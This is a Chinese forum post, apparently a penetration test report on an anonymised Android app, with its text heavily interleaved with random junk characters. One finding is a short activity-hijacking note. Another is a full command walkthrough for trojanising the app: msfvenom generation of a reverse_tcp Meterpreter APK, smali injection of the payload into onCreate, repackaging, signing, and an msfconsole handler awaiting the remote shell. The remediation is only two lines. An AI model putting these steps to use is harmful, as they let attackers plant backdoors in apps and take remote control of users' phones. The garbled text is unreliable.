5 Y/ C& Z: i. T% O1 V( g; ? 7 ]& C L+ c, L1 D% c 1-2 测试结果 . W7 P3 ?9 t# x5 u% u/ r5 T, {5 x' F9 L- T8 C; x

( I0 Z$ Q9 T# [8 T# D% f: ~# R6 ^, n

" k$ q% H2 A% a# M5 ]3 @0 t6 j8 v0 R: X   ) k' ^. H2 ~% T/ F " L9 }9 r2 d3 U% n. T5 p

. _+ T' C& o3 T S/ M) C 8 L/ H( S B9 Y; s5 I) g \) I' a

5 @; Z$ ]* D/ a; n0 o7 }% y& [ , R! |$ m/ m# j" M& G$ Q2 y( a 2 检测结果                    6 @5 R; Y9 e6 S- L * O. `* }# l$ q- O3 c* u

) P# v* b3 p. F/ C q8 |) g! f0 p- r7 Z

" N5 p' ^" M" n- d; `7 u4 J $ [* z. @" F1 I- a- w+ A 2.1 某某某 4 I8 b1 _; _* d 1 [9 u3 B. S" Q6 q6 T

0 I% S, k, D, m# l; H E . ^. g; g- c6 F7 H+ A

1 F. i. a. S. w$ Z. s $ B4 o9 |1 y( t2 A' L. x 2.1.1检测目标 . n& v/ @! m& t ? v) H , U( y# x8 Y+ A2 s0 u

" J9 L' r% C4 y2 P$ ` ' `, D0 Y7 H6 k7 L2 }, j

2 c" W' H- p. I/ s0 I" k/ u) j2 u# @5 j. y6 J6 s/ X& N) d 目标地址: 某某某某某某APP & z9 |7 [- U' y. O" H* A, Y 1 R* a4 ^1 z5 w6 B( \ U1 Z6 {

% T7 c5 f+ E% J; h8 v0 ~ 0 c- l! D' O6 o+ T# f9 f

. \( ~1 X0 q6 M ` ; E6 I7 E/ _9 Q1 H 2.1.2检测结果 . t `: H$ ]( C0 E5 S8 @% H. L8 k% g9 j2 n

) K+ U7 { t' A- k0 j7 o- J& _$ ~3 p4 Q! w% y, y0 s

9 A9 ~, S H" Q* b; ^, f . S" k" O4 V# [+ y 2.1.2.1 ( {0 t( A) [. P0 \) ]4 t ; E6 F, ?0 H& d: ]) X

+ I1 x8 k! p9 R2 h7 A! ]) L; O - N* |7 g; |. W4 m9 K- l: @

$ {6 _1 ~1 s& d8 k' u2 `7 N' Z- W5 j, W9 L6 H6 Z# g! F6 B8 b 漏洞链接地址:某某某某某某APP 6 ]0 a/ ]: U: r! X7 Z9 n. W1 y3 W3 C0 `( s* ?- H! e0 N1 T

9 k0 a a; e8 K( `$ Y : g( m% B; G' v ?7 _

7 @9 I* y( n- H0 B( v1 [5 S; H; t0 R$ @% M4 d+ X0 R5 V   ( F7 W% H3 W# R4 c! K+ M2 p 9 j1 V5 o8 B& c9 h- W9 f8 w; \3 D

) T1 _: M* V8 G7 G* b8 j 5 j3 N1 Q! L8 I# F3 D& z* K+ d

$ o. c7 ?% b2 C C2 w/ _6 J/ |% F+ s* J4 J" b7 M' I' ` 漏洞分析及取证: 5 p5 V$ C L. K a' b, {8 A5 v: y9 o t- `4 i4 t

* }; E$ F" J S3 A+ s1 ?, x6 ^ 9 m0 O ^0 a- P1 H8 f

. u4 \, b S( u" O9 G, o- c* Z1 l/ y& H+ D- ?- H                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: , `' `* _( y1 j0 G + F4 U& ~- F$ v! x

6 n( N, d" `7 [( D) c7 f# ~6 n 3 J+ S- V' I+ K! N. v* s

0 d& X" c! q$ {; f- G. G7 [/ c - ?9 J6 j3 s& J/ }6 m5 w      4 U* z8 y' F5 u. p 0 y* J0 X2 h9 C, C+ H, _

5 f6 U- B% c: e8 D9 b5 C4 x2 h* F+ Q1 f$ k3 q! D

# {1 }$ s/ E$ W) S$ d- f! B: \. R+ B( E# a                       0 h! K1 l' d O# c ) S. U" ~/ u7 G9 U' z' P( D6 r: Z

0 s- D4 ^! A6 h" e; T% u. V) e % L( b" `' D. @6 C" n. N1 i

6 r5 j @0 r) `( a 4 r$ ~7 F. \( q- q* V7 c * {4 ?- L. o6 c- d+ Z% {9 F ( J% B; \2 H2 O8 [5 |

& x7 o2 e- o. F" ^ W* ~) _ 1 j3 u' b: p. D2 c8 f

7 I5 ]7 Z3 f; z# I r6 T3 k2 k- N$ i5 k) u: k! a ; Y3 Q0 ]$ m% V* ~ M8 R ( ~9 Y1 j0 K- Y+ v" V0 X

7 X4 C- X* [) o% f - i; I, F" B% |2 I) K; l5 q

' k* h& E: B+ Z$ K ; V. Z! y7 @ e2 l" J3 |: Y' j , v0 G, m% y" t& a `9 Y4 ]1 g! T% x7 V# |, {; \! Y; D

R9 f$ ^6 S" q/ e # k2 E& X5 j$ V1 D- v* n: T& ?

9 n6 g+ b) l& o+ } M1 U8 b 1 n7 h3 T8 O& K& C+ r( T: [ 漏洞危害:高 1 x; ~) x" ~9 S2 L0 d0 A & _$ m1 Q2 {( T. Z. g; I

) A% P& k' n( I. h8 b$ Z: `$ W- l6 a ; ~& K, K$ g$ W
4 j. c4 F5 p! {& F3 O2 r ; ~5 P0 j/ f( P$ R% q 6 I( x/ Q/ m+ J0 E( ]: Y. l. m3 \! h( w' M: Y- C) M: F' S! s A6 p7 f) w/ R$ R" A) n/ A! G/ F( f2 O. P; G0 I$ k0 Z8 G1 E/ N- N9 T& H& Q8 m. @& f$ A) S; N/ W8 q$ l, Y5 h% { n1 ?0 m/ }1 k6 L$ a/ D4 f0 O$ h. W( Q2 f& l. N) T9 C. Y R' M$ P) H1 H5 L* l/ j* `8 O+ i, V3 }5 z' E4 O' K4 T- Y1 S" j) K" o) o1 {, x! ^, V5 w- Z a# ^+ c; Z9 W0 K3 N9 w4 [9 y7 D2 W S+ b( d H% v" A2 K+ d# j) T8 T5 c2 G$ u; I1 j" t" I$ X1 Q' Q% _0 ]" z1 x* ]% r% r, n. I0 l, ~' U2 t! l/ I) e3 \0 Q Z) v/ b, }" V; ?) r9 O1 I$ J% A; t/ x' c4 k$ U/ l4 @: _+ W5 l/ R% {* j$ _" a$ H( F
8 _7 C, ^ H+ n* P3 l7 I8 ~5 P, ^! g/ C* N

/ M/ n$ `5 X( y* j+ }) M + T& Z9 x6 F$ Y0 ]5 X3 F4 s0 Z" E 严重程度 5 b' f6 m3 w; n' K* u* L1 o7 h 5 S4 Q9 X4 S, V6 n1 `

, M8 ~( @& U0 K+ Z' H" ~3 e$ G; K( X% Y) a. p
! A0 V( r, n' S# p# S* j/ h ) B6 j7 a: D1 |1 M& E% I

* ?: z- O9 ?. c" I1 j % |' }6 E9 l. T* {1 N- O / {) ^1 C, U" [- l ' R' [8 z! s0 X: R6 D1 N

4 o, q" q, ~4 n- v7 w& r4 J: a2 L% n( y$ x
' m* }8 C- S7 w x/ e( k " H+ w( Z; g5 _6 h/ x: m) b

( r5 k9 g! R" i" f . F, l% A- d, ~, D) f5 U9 f9 S " f- K% E- h7 }1 n6 o, Y+ S 2 _( o0 [/ C1 i2 _9 q( a( L$ i

, Z- z. R5 B/ U: @" Z# G7 f9 o% K) ]9 v7 ~( }
/ N* Y- g) h% y0 M0 R) `, V/ C4 Z3 u$ D

% _6 Z2 f' _! |' L# l9 g 0 k( x3 h* e( c/ W$ N " _# V; r/ i0 G ) k& _: K' c# J8 l

1 H2 b4 d% y. b- X 0 n) d6 N6 ]9 j
/ d9 m" b$ k* `( u- k/ `" l; L# a% w7 T% U1 j

4 l' |; \6 F7 \6 t2 Q 6 o: |) w: t z0 d+ e Z   , O; F4 r8 |6 O$ s a6 y% q / B+ H: @' |! c0 R3 i, ~

, o3 h8 F9 O# G( e. p, w) G# h- |" K- B8 _. \2 T
: G2 M- t! G$ E3 j% r) k H* F& e- T# M+ d

9 t& h) j* V8 Z) J+ M7 [1 E# |7 R$ P' q' K 4 \$ _& r/ g6 u) T8 Y, u- l 1 y: N0 a% s# ~* I2 C

- @! q1 d ~1 F' I( n7 ~& i " w2 i3 Y+ I/ A: z- z
# @& q7 M) Z4 E3 T# F! z & A8 @' U- y: w/ P

- s6 t1 P Q+ P 1 d7 m d2 w v% d# R5 w8 m+ p3 E   + a: t X5 T# a( X* S. h5 f# j4 ? ( X% W m, q7 f$ Y; @

5 M/ S& R0 ?2 U/ e i% V! p0 {8 [ 9 s# q# T0 E! A
4 H% n% M4 e$ b( j. |2 A7 p7 @) J. D( Z1 G+ W
' L4 \: w, e1 z L7 ]6 Y 3 Q5 y- Q3 Q' p9 a! b

& @9 D: L3 P d: L2 t4 V" o2 ~7 S6 E0 s5 E9 k' O9 [6 @   ) J7 g5 O% q8 W6 H 1 C$ x7 T# u/ V& V6 [* D, ]

- M5 V5 E' P+ u3 L5 o8 ]/ e* q . {1 g- z& B0 ? a0 Q4 T( f# ?

; ]0 Q: F. D% D ) ~) Q& R C3 G$ g 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 & r: \+ X1 W; X; ^' c/ c: m6 u * w6 b, F3 D7 ~ |1 Q

/ [! x$ f: \+ \0 ^5 Y 9 C6 C/ d! w- |' G

; U1 S5 {8 X6 ]0 ? L( Q$ }. _: b1 [# C3 t5 n8 [$ M           $ p* q. L0 m9 V! F. G$ t 0 L5 ?% j& V3 T7 z% u1 `6 {" C

6 p; `+ G! H9 F& N9 X( P2 x: K, k* ^5 S* I0 X

1 ]. d' f3 C: f- ^5 Q: m$ C6 Z+ f2 b& J   / e: n) ?; q1 X8 s, G- C2 L3 w, @+ H: W0 r9 S3 S( R# _

5 ?. y) E2 ^" L2 w! V2 V. M9 p! p. k j( f$ t, V

/ g8 y; }1 Q& L % g2 `; |% Q" O0 Y. F& n ] 2.1.2.2 * G* v; U5 K! c 4 ~6 T5 E8 Q5 x5 k2 ?0 H9 U* n* J i

9 i2 }: |9 e8 @0 d / R3 C. _, B. Y. v" B/ n( R+ G

( |, x4 D% m, |( ?6 E ) ^# {, i; `. _. M5 ] 漏洞链接地址:某某某某某某APP ' N1 l) c9 u. j; l, E, }, O * y3 B& ~" @2 h

: e! L# u- J+ ?) Y; Y 4 |& V* A: `" ^" |- _

m4 d8 L Z+ ]4 d : m$ p ^2 U& n5 ^- p 漏洞分析及取证: + f' M! k( q8 U* c1 k8 g9 V - \3 Y' R4 z" L. q

8 r" O2 \: t3 c z& X+ _ 0 D7 R' H5 |0 D+ M8 P

4 ^- G: q/ Y. O$ X4 a' R$ d. h6 j) R, \) g0 Z0 x                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 6 n9 ^+ s5 e9 M* y # |1 Z/ e9 O1 L

$ H/ {7 Q' H8 A" w/ m( Y, x / v8 Z+ j! X9 n, X, E8 l

h4 y# @/ `6 l6 |9 u# T0 q 3 i0 o; l8 H. |6 S8 i# b7 P+ [ Metasploit 生成木马 apk $ I) b) I" T3 n/ X * ^% W6 k* { V$ P: x0 _/ s1 @* v

3 J; p# r6 |$ v( k% B: o . a. _, u- a; ^0 S/ F# ?

+ S y) `1 G/ w" l# Q6 v5 r# q + W0 k2 v1 c& G( { \ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk * J, k% J" O. P& o8 v 2 y, w* @+ |; U `3 ~3 F4 f8 ?# V

) o, g! o5 C: C, ~" y5 z& ]4 U 8 Y% W* a* P6 g2 c3 ~

, m/ ^: `2 a( _9 {7 C: C ! d3 x: J' t; \3 m' d3 n% t 反编译目标apk和木马apk " f2 Q" e, \6 R5 W3 y& s : W5 {6 V4 t, d: N& v- Q

; Y) X) F. ?' E, @: m1 m% ?2 }3 Y$ q) {% N

5 w) k J' l- S* g; _& n % I4 e( \. B) T% a apktool d target.apk
1 ^# y' ~! k' u* }- y# ~9 T# v) J0 ~5 O4 h$ L apktool d cockhorse.apk
5 a8 Z; ]+ o% [, ]: F+ Z/ m; Y5 d8 ^9 I B1 @+ J1 v" e! S* Q- r( h

5 w% ?4 R9 e% l4 o* E0 p / w/ y) R- w+ a- a, C6 U6 a8 {

% T3 C+ A3 x' k ( f5 j4 I( F2 j7 G 木马 apk 注入目标 apk , c# W( G9 Z- `9 H9 e9 ]7 r ( s: O& b u C: Q/ X7 q

3 C( p: ~( F/ W ?2 {0 O& U+ w8 j2 j5 D0 v) h* R

* H% P, d8 P& U$ n) G * n0 S) r) |9 f: A- y 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
" \$ K1 I' u% g+ p 9 o+ q7 U3 J$ b$ @ invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 o# R" R5 f$ Z6 W. N# _ 3 ]* n/ a7 z; }

. D1 D. p {! ~1 E - s8 L+ [, J A1 {

1 g' M; c. G$ l. z % j- w7 c* A e' [7 f; M" p0 l 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 Z3 l+ \& |8 m! A4 y- b$ a3 H x% A# e0 k4 t$ P- q( R

4 q6 q# j! n3 \" q9 R4 U9 ?4 K; L1 S+ g& i& }: a3 n3 t8 q

4 V: d% m, z* i# j8 K6 F , O; l9 n! H# }* X+ ~8 l 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ , C8 f0 W4 ~' V9 d) f, A+ Y' W v H& Z, I+ J1 N+ X+ M

: p) S. P# P0 H' Q . s* f$ i7 l5 L# z5 l, M

! u3 B# a) d* V7 n# l: `& [3 ^! o8 g, N: Q! @2 q 回编译生成最终 apk * i4 |% o7 w9 H' v$ ~& y 2 L- V; `2 G- Y' v0 j3 e6 b

& l- F7 {2 f2 w" ? : s3 n$ O( }. Y

1 c! W6 v0 ^- K& e9 Y$ \+ [! T' A: S ) }. d$ D7 J5 }- [ 重新打包 + Y& ?7 S ]4 P" j" a# ?6 j7 Q( S2 I7 H1 Y8 v" G7 h

% T+ S; D; t8 J R% Z6 O $ x7 ^( T' R+ F* s( p) h

' g, D( D- _( b9 r# j% Z7 i ( B \# S, U4 S apktool b -o repackage.apk target_app_floder / o8 a) y0 O( y 7 C& ?! H. _5 T

7 F; H( k4 I: P- I3 S$ F ! a; p& X4 z2 p/ }( ~7 e2 Q

/ r, {$ K" ] q: G- { " b! X' A6 U% T& g1 U 创建签名文件,有的话可忽略此步骤 - ?$ K: p% ~7 `6 w' L. S8 p; @# b0 t# M+ P; X6 p

5 i8 k' d/ L* n2 D# a+ W 2 t0 J. I& I5 x3 j0 Z3 a. @2 v6 z

" Q2 L+ Y$ r! Y( ~7 p. B ( d) _& [2 F( |: l/ z" p* l keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                3 v: ~7 t+ E3 }' H% Q. N5 Q* a/ @ ) t w) f3 s' R7 S2 [5 N- ~

. k l }5 z6 V5 d: d, ?* Z4 n0 I7 X2 a. f" R

V7 e$ p- o1 M& L " l& k d7 J# O1 M 签名,以下任选其一 9 w" v# h; U: { - n& l) i5 b6 f

9 z% y0 `7 t7 h5 d0 { " v8 o1 F r) z# P5 D2 }

3 P% \/ x- v. E0 K ) m7 l, r2 c3 w) m& }3 J jarsigner 方式 9 U7 w J ]- U( c4 W6 y6 Z3 y- a& d J5 n+ R( T+ j& W

: i: e9 F0 g' G3 k2 _* O/ W5 `0 K* t

, v4 _. E, `; x8 ^0 H9 _ F/ M( X) u( X/ f& y) ]8 ? jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname / E! H, ^' B7 P/ U6 P* Z * N( g4 ]. C' z# E( T& f4 z8 R

# V4 L& V( ], A% Q+ \ / a4 z. M% I$ S+ q& |

+ ^" r: Z: R8 |" g7 t6 o3 g# z2 i9 [ ; z' J8 N: L0 I( d apksigner 方式 7 J! A6 D) H6 Y# _& a: H# T , ~3 w! `2 v2 H# k1 h) E" p1 G7 C

" b' R6 P# Q9 I- {7 B2 S - \% G9 b3 i7 O8 v9 m: A# }, d" S

# A5 r3 }) ^! I. L5 o- X1 \1 g ^% H, x& ]" r4 n apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk - w" d' p* J; R- p, A7 a6 S# _+ F/ V. y% w2 O) r

. u, c p4 c& R' a( ^$ T! P0 e% e; [8 g1 a/ Z! d. x* l

; L h% O$ u5 ^. R; B! @ 9 y) T) y" r, [ 如需要禁用 v2签名 添加选项--v2-signing-enabled false ) k* e" C8 {9 h# i( t4 ] 9 I ?4 w8 X/ i5 X9 ~, Y \" W

& L0 x U9 P/ V0 X& d9 ^$ S9 J . Q4 J ?4 _( `. L: K4 F

9 B" ^' {' @- z- b3 _6 v( G0 U+ d1 A: w) R 验证,以下任选其一 3 c% H' P# V. k ) j* O! g- p3 Q

7 d% o( K$ w* N% f, D * r7 z4 k+ h5 V6 U7 ^! L

4 E, G6 k; t) m; F7 K% h 7 E) H# T' S2 \0 o0 H) q. G0 \ jarsigner方式 - {, t& c8 c2 r# J2 N' i+ H+ D; j4 P5 i) J& y; L0 z7 H- v7 M0 Y

' X# `* c6 V# |! h7 l9 g% T2 Y 0 p% O' @; r0 A; E, G5 e- x& i3 m

+ V- X/ X& u& w0 d2 o ( E" F" C5 m3 m" _ jarsigner -verify repackaged.apk 9 T3 }* e0 `/ X: Y1 q+ E . B3 H/ z2 g% [6 y# U5 u

# F4 W6 @' }9 |' s $ T5 ]6 ]: w0 b

) |% v! D* z% k6 N; p& f- ]0 v6 z: Y( w% u! y1 }7 d apksigner 方式 ! @6 T& T9 a f* D& g0 J6 B( L" Z # g9 ?1 h: y6 a

- M+ o# {- g9 g4 U/ F# L : X! i H2 g$ m. f: x

7 o; g9 J. n; h : T1 u3 K. }0 j& F! ^ apksigner verify -v --print-certs repackaged.apk * W" r9 Z% Q/ B' K& S( q$ T , q0 {2 P4 Y& M, R9 e6 {3 u

, @" ]' G' W( A8 l, ^+ W' o/ R& m. q5 k7 {8 E7 E

( P6 q! G" {5 x2 x6 @' G4 {. o , V) c4 K- T" G, E3 F/ u* h4 q4 } keytool方式 C; k, ~' x6 k: [. n7 @! D1 }- |( F7 Y9 O Q6 z n+ i/ E5 r

4 ]- ^+ |6 n; F2 U$ i6 N8 w8 y 5 c1 U" e. |2 h# k# k

+ N( M; _/ }0 o* ^8 ] 6 B3 ~" N5 k. u. S) C keytool -printcert -jarfile repackaged.apk ( {0 K# I7 \2 q1 h, Z3 D. I: q: H* ?# P1 W6 g# P% P

! u) u# e' |. d/ a. A. _ 4 L3 b8 ?- _* @) Y. E4 c) s. P

1 i M2 e$ o( N& J+ l0 B 3 Q: e% W1 G8 H2 s 对齐 - Z( l5 x, t% l) b3 |4 j$ i) n' {9 @- N# z% V/ s

2 t* t) V- P6 u$ T . G6 c. S1 j1 l/ N3 p! o

8 M: A# Y+ r/ d+ n. c / Z H" {* k1 i3 w' n 字节对齐优化 - l9 [$ D" h" O9 d" B. l - }7 n6 v: K# M* ^

1 w }7 Y; T* K 7 g4 s# Q' x3 V# d0 E4 U

1 i5 ?; \5 @: q2 U: y& u 3 Y% ^( W& x* e* }! ^& @0 k8 t zipalign -v 4 repackaged.apk final.apk ! O1 @5 @+ f( M9 p$ z' ^ 9 T) j: Q6 R8 o( F% h! y* M: H

8 @. L& u: m& k/ U) ^& V; |: j / _4 u; ?( Q8 R+ }

' S% P" o5 R3 a9 \7 C8 [! M8 g& \- d4 P6 j: M 检查是否对齐 8 M0 {# x1 P! J + `5 M7 Q% N" \/ g7 P7 L

6 p1 W7 @: z, u0 Q0 `4 \1 r9 c2 G 2 ]: e, l9 E( v+ w' u1 k

) Q6 q: O' r( T; [5 B+ Y1 ?( x; [& h: j$ _ zipalign -c -v 4 final.apk - F/ n' D9 E) `3 |" k v) _ ( a# f1 K. v; R- ?6 p( f( E# B. Q) K

+ b5 A# K, q) ~0 P% k ! \) m% \, d2 S

# Y0 F$ |; X1 h6 B% `2 m 5 M; g8 A6 N2 x 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 : j- B$ M3 ~: ^+ ^9 R, `. C. c( z# G% `/ {: ~

9 Y9 t# {* O1 s' C 8 F7 ]8 G7 y6 [$ u! ]

( {& r4 T3 V- U1 s3 r : Q2 D8 | k% `9 D 启动Metasploit控制台,配置参数等待上线 - }0 @0 ~( s" w- N* r" \; r/ F: }' b* Z9 X- N* ^

+ A# b( f' o6 J A& O" ?/ y# h+ O7 i0 c* i

& @0 Q- B$ }7 K) a 2 o# ?! I2 R# \! s 在终端依次输入如下命令 # z5 @% {: U) N/ Y0 P 4 R: ]; U1 ~" s3 W( Q

, d$ |9 P2 ~/ D) f6 V ) r& f0 A' v- J0 A

0 y, w/ d a9 C0 G" } 4 T% i& v6 \4 u/ R" C msfconsole " Q* f1 A# G: N) Q T ! q ~+ t' _+ ?( _1 N$ V* B

# I! ~( h1 k: ]) |' w ) L' e& p) i1 V7 z# O6 c

( m& J2 Y+ y; i1 M9 [ P7 q7 i, L9 G/ z3 h y, M use exploit/multi/handler 6 B6 p$ `( K; \: E D 9 \5 N& h8 N8 |" G+ {2 n3 @

+ A- z: v9 o- ^% n; B2 i5 z 8 k5 N# j3 e0 f" u

U, B+ ?! D4 ?' K % h. h8 @" ?8 Z+ v% e set PAYLOAD android/meterpreter/reverse_tcp ' r* }. U0 ^8 T7 p 2 y+ L6 P+ z. B7 m

- f/ K5 o% u$ H' O) W2 y7 W" T6 X 5 [, O& Q$ N2 x7 p- y( Q( `

- Z7 E6 _( w* w" b 1 o4 v5 E) L p9 s4 Y set LHOST 192.xxx.xx.xx 6 Y+ O9 c+ W1 C [$ G& L: [ . l) H9 ^* }4 d! P! F: X

1 b$ w, a, y/ I% w4 p s; v% P 4 R+ D% D" a7 j

% B+ A" u1 S$ p1 e" Y 1 d* A6 g; V: s' @5 T5 M set LPORT 4444 ' Z, U7 g5 Z3 Q9 l ! d6 ~% D* j. P( U9 K: D1 e& G

( F: l6 P1 }& u3 B 8 z+ g; W. w; a

/ ^7 q; s. ], l7 ?: A2 f, m( X7 B) S. @0 n+ V" H# @8 \ exploit 4 d+ F2 E; G7 i$ U , U' |) w) L. L+ E3 R2 O0 n' ^

5 |* r" \! a% E+ k" v2 @$ y& j/ x; f2 T2 O

( d( X5 h! [7 x4 u6 a6 v9 R% X) r; |+ e6 T! _4 K 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               8 r" `8 L' |, b8 T! Q% z. t- V; W2 S: c' a3 B* _- V9 N; s$ c

( g4 T6 A/ s1 Q1 D# F% [8 F7 `3 c8 c. c

c% f! a. {; Z+ ?) g ! p1 y; w+ Z, T+ ^& O4 l0 |/ Q& I 漏洞危害:中 4 H" [* j& Y$ R& p( d0 e ! \% o8 [, [9 F0 ?) [. l, R

- i1 r9 P& Y- }" M# u! g" X& W S& F+ u* F9 }& a
2 M \/ s; `& R $ c8 D) D( W. B9 Y- K ) c% n2 G6 w: p @! H0 ?1 f # h9 P! A6 t. |: i x# I5 ` 4 B: A) R; f5 o' R% ]( R2 [1 ~1 z) c. B) w6 n: R5 \5 |, T' l8 g7 Z* B% P0 ?; G; A% h0 W9 d: ]2 F3 `* h: P% }. s# G' y7 n, n, f% j) j# a |! H6 i* U) S, E* \# [3 X7 m/ [. s( w/ x1 X B7 s! \/ T! N, N0 u$ m$ @- \3 Q1 [* ]$ s& d( f5 q" b- O0 C! ~* a& V1 d( b* k2 u, d5 F- E0 L4 z% A- x" ]# b* m$ @: ?* u# S' D4 {/ k$ J/ l8 P% u8 ]. t( `/ d0 D. @2 u0 ~9 P) B, w3 w) s1 V7 }# J4 d7 [3 M, N7 g4 U* j" _' `, y9 E/ `2 M% G; w' O* S; c* \' b' @( Y& m: m' r# ]& X6 b3 `7 w' b/ _6 ]& e+ i S4 _1 }4 y6 R4 M+ m; U$ t5 I: @- |# g4 q! \3 M% j! ?7 a/ L; Z" m; J# P Z( o4 ?$ D* w1 D, d* S, j- x- j
9 A+ ~" P. L4 s' ^% S( |- q1 J$ B6 F' q9 J- M1 h4 F6 N& X6 }- Q

: b! i5 S9 }- L5 b+ N- \% k7 L v0 Y4 ^5 ]5 G 严重程度 / T+ o9 g5 h o" r" i% ] e0 o. e# o6 {7 n3 c: z

* [4 l+ m ]6 |" }& J. i$ `- m- r m; V
7 B+ b2 f: V9 z @4 Z 4 M4 e' ?4 v0 X6 n

2 c; m9 x8 w4 P5 U& s: [ / A. c& u5 u* n6 T6 p - N+ @+ V/ k6 S4 p# _+ n% W; H( q* M / e& E. x9 M* A

) M% x5 ?2 `& K6 T3 P : Z- q- ^- v7 V1 {7 d' b1 e
9 r9 F! F& l& s, |5 f, A ( d- U& w o1 s6 J& Q$ [7 v

) \# z8 H. i# C c4 c+ J/ d! I5 w7 h- K; ^0 s! K9 z( U 0 d9 r6 N9 t4 \. A " {4 k4 h9 T' B5 m

! K; Y2 V( g' q" ?. l X& }# V- H: b' p" I" P& V. |" ^
1 G( j- n2 Z; E' @$ d9 a! S X ) N& Z5 p: r) A' D2 M6 w) W& ]

' P" p8 v3 L7 C7 K + z! H8 r8 F) p; Z2 [ . \4 x9 R, q* P8 f 7 Q* [$ @. x; l+ n2 Q% T

4 \% v& C. j- T 7 @* J5 C& F; M8 ~2 x) q! G3 G/ Q
1 j) U/ r1 E5 X$ ? ' n! q, T; b( u+ S, v & u$ `. P- t6 @ + p- E, W. B9 d4 p/ V

$ a6 M1 R0 v8 T" a: X6 W/ a% {2 C   + S7 L7 N5 r) @5 x6 ?8 H/ x+ S4 }4 z% T

6 V! F$ f6 g! I( d1 g* ~" G$ o; h' I$ M/ c6 {
% h7 K5 q5 W6 H1 ^! a9 Z* v E ! ]9 K& p- R( f

- g% y( _7 C7 y/ q z; \; F3 i4 Z; `' P/ B% E+ U# w: Z 4 e. ]6 N s% }; J ! a4 C) ~7 U' Q7 i/ B$ w! \

' t+ Z3 p& ~/ J' ]" }7 o) ? 2 K2 U6 n( \8 N- n$ z: {
1 ^+ [3 S( J& L 5 A7 _) E& |# E3 X 6 J2 g4 q2 m+ R4 a0 ~! U6 |) u- b* B1 y

! v* |7 J& ?2 n6 i7 |7 l- n- ?: ~5 j2 P7 V7 G   * E% v7 S% y; L8 e # _# r* S: o, s R

8 `0 B& b2 u& w W6 H& m5 l5 l : Y/ t' A: E, f# F% R$ ?
6 p6 v4 x' x/ P1 X9 f; d! C: {2 G ' g1 l' g, Q3 T \3 _
, S# N) A9 s; m x; s9 W7 ^ : L+ Q$ w% S: `' t: F

1 {# ^, Y7 Z5 N- a3 m2 \8 u, G* i7 L& K4 ~6 y   ! Y# N7 N( O4 a* M8 H* B- A, O+ ^ $ K& Q# J u8 J' Q4 U

: X- J# P3 B8 G; ]5 I2 F : `/ a* e- n- i6 i) I5 c6 _

) B; y4 f& L( N$ l8 U p/ \) k1 B5 ? b" w 修复方法: 6 x4 w) Y- V, d e; R k( w+ _6 V j, ?; L

) R- l$ F0 \ j3 p8 t# @ Z' P + S/ H! S) }' S' H& a, q

& _& H: H# }* T' f/ D: i4 x - Z: H. G: `' K/ g               1. APP 启动时应做签名校验防止二次打包。
" i! g& Z- v- D " |( \' W1 C+ q/ z$ h5 N 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 & A7 ]- T; [# N8 S) c ) X% {$ h3 R: s

% D% }& e: k. e/ ~) r, s, f 3 t$ E+ I/ Z6 y- R5 U( a 0 Z* P! \, }8 y# r8 E( q9 _ , Y' N+ z" x/ k3 o- p

8 u& S7 [1 V+ b$ c # d, s( B8 _' p   4 @ w! t7 V7 o. Y* A) V: |2 |, O; M , M, A- e' |1 X$ _9 b4 Q% p7 X. U

$ u& E$ I2 a& Q6 @* r' D; Q ; O+ @& s- w( E$ v2 x! w# o # l6 |' n0 K- _' U7 I& F" D, R- w+ R- T" e2 V

9 L" [9 s6 J" t) H ) ^$ Y j$ b/ q6 y
) m$ A8 b5 T, m3 y* @7 V2 O9 x6 H ' B; l# N+ _6 ^! v& f

" x- e1 c2 L/ ]4 c 9 c" Z% A5 ^- D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表